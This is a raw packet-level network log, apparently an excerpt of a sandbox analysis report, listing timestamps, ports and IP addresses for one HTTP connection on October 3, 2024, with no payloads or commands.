Oct 3, 2024 09:20:36.031429052 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.031430006 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.031440973 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.031464100 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.031476021 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.032181025 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.032193899 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.032203913 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.032213926 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.032224894 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.032233000 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.032237053 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.032248974 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.032254934 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.032263041 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.032275915 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.032278061 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.032286882 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.032296896 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.032299042 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.032310963 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.032329082 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.032330990 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.032341003 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.032351971 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.032356024 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.032361984 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.032363892 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.032381058 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.032393932 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.032422066 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.033112049 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.033126116 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.033138037 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.033148050 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.033159018 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.033169031 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.033179045 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.033189058 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.033190966 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.033200979 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.033211946 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.033216953 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.033226013 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.033237934 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.033238888 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.033251047 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.033258915 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.033262968 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.033277035 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.033282995 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.033288956 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.033302069 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.033344030 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.033879042 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.033891916 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.033910036 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.033921003 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.033931017 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.033941031 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.033942938 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.033951998 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.033952951 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.033966064 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.033977985 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.033986092 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.033989906 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.034001112 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.034003973 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.034013987 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.034024954 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.034028053 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.034037113 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.034046888 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.034058094 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.034064054 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.034070969 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.034086943 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.034087896 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.034102917 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.034115076 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.034116983 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.034122944 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.034131050 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.034156084 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.034847021 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.034862041 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.034873009 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.034888983 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.034894943 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.034900904 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.034913063 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.034914970 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.034926891 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.034941912 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.034985065 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.034996986 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.035007000 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.035015106 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.035017967 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.035029888 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.035034895 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.035042048 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.035053968 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.035060883 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.035064936 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.035075903 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.035087109 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.035087109 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.035100937 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.035105944 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.035115004 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.035125017 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.035125971 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.035139084 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.035164118 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.035187006 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.035734892 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.035749912 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.035761118 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.035765886 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.035775900 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.035780907 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.035792112 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.035799980 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.035804987 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.035831928 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.035842896 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.036017895 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.036031008 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.036041975 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.036053896 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.036065102 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.036066055 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.036093950 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.036164045 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.036176920 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.036190987 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.036201954 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.036207914 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.036211967 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.036220074 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.036227942 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.036236048 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.036241055 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.036246061 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.036257029 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.036262989 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.036279917 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.036290884 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.036303043 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.036313057 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.036313057 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.036386967 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.036386967 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.037117004 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.037130117 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.037141085 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.037158966 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.037169933 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.037178040 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.037178040 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.037182093 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.037194014 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.037209034 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.037210941 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.037220001 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.037230015 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.037242889 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.037250042 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.037256002 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.037267923 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.037276030 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.037280083 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.037297010 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.037307978 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.037312984 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.037319899 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.037333012 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.037344933 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.037355900 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.037367105 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.037369967 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.037369967 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.037393093 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.037408113 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.037913084 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.037926912 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.037938118 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.037971973 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.089207888 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.239191055 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.244962931 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.245003939 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.245018005 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.245039940 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.245058060 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.245091915 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.245140076 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.245153904 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.245165110 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.245181084 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.245193005 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.245224953 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.245377064 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.245392084 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.245403051 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.245414019 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.245425940 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.245438099 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.245455980 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.245470047 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.245507002 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.245682001 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.245696068 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.245711088 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.245722055 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.245731115 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.245732069 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.245759964 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.245784044 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.245800018 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.245812893 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.245824099 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.245835066 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.245845079 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.245857000 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.245865107 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.245870113 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.245886087 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.245897055 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.245898962 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.245939970 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.246436119 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.246449947 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.246459961 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.246470928 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.246483088 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.246486902 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.246494055 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.246505022 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.246511936 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.246541023 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.246541023 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.246551991 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.246555090 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.246598005 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.246937990 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.246952057 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.246973038 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.246984005 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.246994972 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.246995926 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.247006893 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.247021914 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.247025013 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.247034073 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.247045040 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.247051001 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.247056007 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.247068882 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.247072935 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.247081041 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.247092009 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.247096062 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.247103930 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.247116089 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.247123003 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.247127056 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.247138977 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.247149944 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.247149944 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.247164011 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.247168064 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.247189045 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.247937918 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.247960091 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.247972012 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.247982025 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.247988939 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.247993946 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.248008013 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.248017073 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.248020887 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.248034000 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.248034000 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.248048067 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.248059034 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.248063087 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.248071909 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.248085022 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.248085976 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.248095989 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.248109102 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.248120070 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.248126030 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.248131990 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.248143911 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.248152971 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.248155117 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.248167992 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.248168945 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.248194933 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.248214006 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.248855114 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.248874903 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.248884916 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.248895884 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.248907089 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.248919964 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.248927116 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.248931885 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.248944998 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.248950005 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.248965025 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.248966932 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.248977900 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.248990059 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.248994112 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.249001980 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.249015093 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.249023914 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.249027967 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.249038935 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.249047995 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.249052048 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.249063015 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.249063969 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.249074936 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.249087095 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.249104977 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.249146938 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.249805927 CEST	80	49706	193.242.145.138	192.168.2.9
